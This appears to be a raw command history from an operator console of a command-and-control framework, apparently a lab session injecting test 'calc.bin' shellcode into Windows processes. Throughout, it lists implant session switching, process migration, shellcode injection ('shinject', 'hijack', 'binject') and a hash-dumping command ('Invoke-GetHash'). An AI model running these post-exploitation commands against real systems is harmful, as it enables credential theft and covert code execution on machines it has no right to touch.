
# 2020-07-02 13:47:08.121350
+!bash

# 2020-07-02 13:48:01.237207
+migrate -p 6468

# 2020-07-02 13:48:15.711543
+beacons -i 2

# 2020-07-02 13:48:17.190393
+beacons

# 2020-07-02 13:48:21.615528
+migrate -p 6468

# 2020-07-02 13:48:53.171999
+beacons

# 2020-07-02 13:49:00.047852
+beacons -i 3

# 2020-07-02 13:52:05.484004
+migrate -p 3848

# 2020-07-02 13:52:31.148920
+beacons

# 2020-07-02 13:52:33.664929
+beacons -i 2

# 2020-07-02 13:55:46.219295
+beacons

# 2020-07-02 14:00:29.292738
+!bash

# 2020-07-02 14:01:03.962757
+migrate -p 5488

# 2020-07-02 14:01:57.447529
+whoami

# 2020-07-02 14:02:39.017977
+psh -c (gwmi win32_process | ? processid -eq  $PID).parentprocessid

# 2020-07-02 14:03:26.989330
+psh -m GetHash -c Invoke-GetHash

# 2020-07-02 14:05:29.470506
+pwd

# 2020-07-02 14:05:34.626935
+cd ..

# 2020-07-02 14:05:39.906945
+getpid

# 2020-07-02 14:06:19.768907
+hijack -p 2300 -f calc.bin

# 2020-07-02 14:07:07.313624
+die

# 2020-07-02 14:07:09.289180
+die -y

# 2020-07-02 14:10:10.092011
+beacons

# 2020-07-02 14:10:12.428366
+beacons -i 3

# 2020-07-02 14:10:16.017932
+migrate -p 5488

# 2020-07-02 14:15:16.757927
+psh -c (gwmi win32_process | ? processid -eq  $PID).parentprocessid

# 2020-07-02 14:16:56.909691
+!ls

# 2020-07-02 14:17:12.449641
+hijack -p 5292 -f calc.bin

# 2020-07-02 14:18:10.577588
+shinject -p 4504 -f calc.bin

# 2020-07-02 14:19:54.555004
+help

# 2020-07-02 14:24:49.466191
+shinject -p 5036 -f calc.bin

# 2020-07-02 14:46:22.555789
+binject -p 6724

# 2020-07-02 14:46:53.224528
+beacons

# 2020-07-02 14:46:58.546003
+beacons -i 1

# 2020-07-02 14:46:59.815584
+ls

# 2020-07-02 14:48:45.405225
+binject -p 7544

# 2020-07-02 14:54:02.070200
+beacons

# 2020-07-02 14:54:04.849966
+beacons -i 2

# 2020-07-02 14:54:09.119443
+beacons

# 2020-07-02 17:56:16.765017
+beacons -i 2

# 2020-07-02 17:56:34.397040
+binject -p 5736

# 2020-07-02 17:57:15.287159
+beacons

# 2020-07-02 17:57:18.045238
+beacons -i 3

# 2020-07-02 17:57:19.300058
+binject -p 5736

# 2020-07-02 17:57:35.479894
+beacons

# 2020-07-02 17:57:38.353768
+beacons -i 4

# 2020-07-02 18:29:31.586919
+getpid

# 2020-07-02 18:29:52.122163
+migrate -p 1780

# 2020-07-02 18:30:09.231381
+beacons

# 2020-07-02 18:30:17.477129
+beacons -i 5

# 2020-07-02 18:30:21.155627
+beacons -i 4

# 2020-07-02 18:30:23.442598
+beacons -i 3

# 2020-07-02 18:30:24.516463
+beacons -i 2

# 2020-07-02 18:30:25.572764
+beacons -i 1

# 2020-07-02 18:30:45.252132
+beacons

# 2020-07-02 18:30:48.098528
+beacons -i 6

# 2020-07-02 18:31:01.781134
+getpid

# 2020-07-02 18:31:12.438464
+migrate -p 1780

# 2020-07-02 18:31:27.832294
+getpid

# 2020-07-02 18:56:09.383031
+getpid

# 2020-07-02 18:58:57.090223
+getpid

# 2020-07-02 18:59:01.555535
+!ls

# 2020-07-02 18:59:30.029466
+hijack -p 7160 -f calc.bin

# 2020-07-02 18:59:54.763695
+shinject -p 7160 -f calc.bin

# 2020-07-02 19:00:11.440695
+shinject -p 2204 -f calc.bin

# 2020-07-02 19:00:36.334785
+binject -p 5444

# 2020-07-02 19:00:49.213744
+beacons

# 2020-07-02 19:00:52.506160
+beacons -i 3

# 2020-07-02 19:00:54.338277
+getpid
